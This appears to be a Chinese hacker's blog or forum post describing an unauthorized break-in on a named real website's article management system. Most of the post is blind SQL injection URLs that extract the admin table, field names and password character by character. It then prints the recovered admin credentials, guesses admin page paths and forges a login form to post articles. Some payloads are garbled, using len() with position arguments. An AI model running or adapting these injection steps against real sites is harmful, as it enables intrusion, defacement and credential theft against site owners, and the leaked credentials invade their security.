这几天搞ASP跨表查询搞疯了。
又一次成功的到得了 ASP后台管理员账号.
攻击系统:动网文章管理系统 攻击网站:中华网络安全联盟
目的: 得到文章管理员账号,进去添加文章.
开工
打开 http://www.xren.net/article/list.asp?id=509
出错!ID没有过滤.
好。现在步骤就是
1、猜管理员账号的表
2、猜相应表中的用户的字段名以及密码的字段名.
3、猜出用户名的长度和密码的长度.
3、猜出用户名和密码
4、找到管理界面进去登陆管理.
猜管理员表:
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin) //min(id) 返回表中ID最小的值.
返回文章,证明有一个admin的表.如果没有返回文章,证明出错!不存在admin这个表.
猜用户的字段名
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where username=aaaa)
没有返回错误信息.又也没有返回文章,提示找不到相应文章
证明:在admin中存在username这个字段.
只是用户名不是aaaa
猜密码的字段名
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where password=aaaa)
没有返回错误信息.也没有返回文章.提示找不到相应文章.
证明:在admin中存在password这个字段.
只是密码不是aaaa
现在就来猜用户字段名长度
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(username)>5)
出错。
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(username)=5)
正确了.才5位晕!
猜密码长度
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password)>5)
正确了.
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password)<10)
正确了.
密码长度大于5,小于10
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password)=6)
返回文章正确.证明密码长度为6.
好了,用户名长度为:5 密码长度为:6
现在来猜用户名.
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where mid(username,1,1)=a)
取密码第一位,看是不是a
结果证确.
想了一下。如果用户名是admin的话,刚好是5位,并且第一位也是a
试一下看是不是正确的。
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where username=admin)
很正确.用户名为:admin
现在来猜密码,密码一共六位。因为这次入侵是和朋友:卖身一起搞的。所以他也在猜密码.我就叫他猜前三位,我猜后三位.
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password,4,1)=2)
第四位是:2
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password,5,1)=6)
第五位是:6
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password,6,1)=1)
第六位是:1
这时卖身那边因为网络问题又断线。所以他猜得比较慢。
看了后三位都是数字。那么前三位是数字的机会比较大.
我就猜第三位:
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password,3,1)=8)
第三位是:8
卖身猜到第二位是:9
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password,2,1)=9)
现在的密码就是:*98261
想了一下。这可能是一个生日密码。第一位是1的可能性高达:90%测试一下。
http://www.xren.net/article/list.asp?id=509 and 1=(select min(id) from admin where len(password,1,1)=1)
非常正确。我们又成功了.
最后得到账号:admin
密码:198261
终于把猜账号的工作完成了。
下面就来找管理员界面.
http://www.xren.net/article/admin.asp 出错!
http://www.xren.net/article/adminlogin.asp 出错!
http://www.xren.net/article/admin_login.asp 出错!
http://www.xren.net/article/login.asp 出错!
http://www.xren.net/article/admin/admin.asp 出错!
http://www.xren.net/article/admin/adminlogin.asp 出错!
http://www.xren.net/article/admin/admin_login.asp 出错!
http://www.xren.net/article/admin/login.asp 出错!
..........
卖身基本上把所有能想到的都猜完了。。都没有猜到。
快要放弃了。我认为这是一种精神,都得到了。用户名和密码了。怎么不进行下去呢?
最后经过努力我发现了:
http://www.xren.net/article/manage.asp
返回以下提示:
操作: 确认身份失败!
非法登陆,您的操作已经被记录!!!
返回
看来这是管理界面,不过不是登陆界面,那登陆界面在什么地方呢?
猜了,好久好久都没有猜到.
最后想到。可能是从一个界面登陆提交表单参数给manage.asp的吧。
我就做了一个HTML文件来提交给manage.asp
代码如下:
又出错。TNND。
可能是,提交的参数名不对。
我又把username:改成user ,password改成pwd
试了很多过都不行.....失败,要放弃吗?
都到这地步了,不能放弃.
我把URL发给卖身。卖身说可能是动网文章管理系统。
马上下了一个。打开源码。一看有一个叫:manage.asp的文件。打开一看。
中间有一个:“操作: 确认身份失败! 非法登陆,您的操作已经被记录!!"
操作提示,看来就是这个东东了。
找到登陆界面。名叫:admin.asp 不过打不开http://www.xren.net/article/admin.asp 刚刚测试过的。TMD
怎么办?
我又打开看了admin.asp中,表单的提交是提交到:http://www.xren.net/article/Chkadmin.asp
这里的。
马上改了以上的HTML:
这次输入用户名,密码。好了,成功了。终于进去了。
呵呵,我把这个HTML传到网上,发给卖身,我们成功了。添加了一些文章。闪人!
|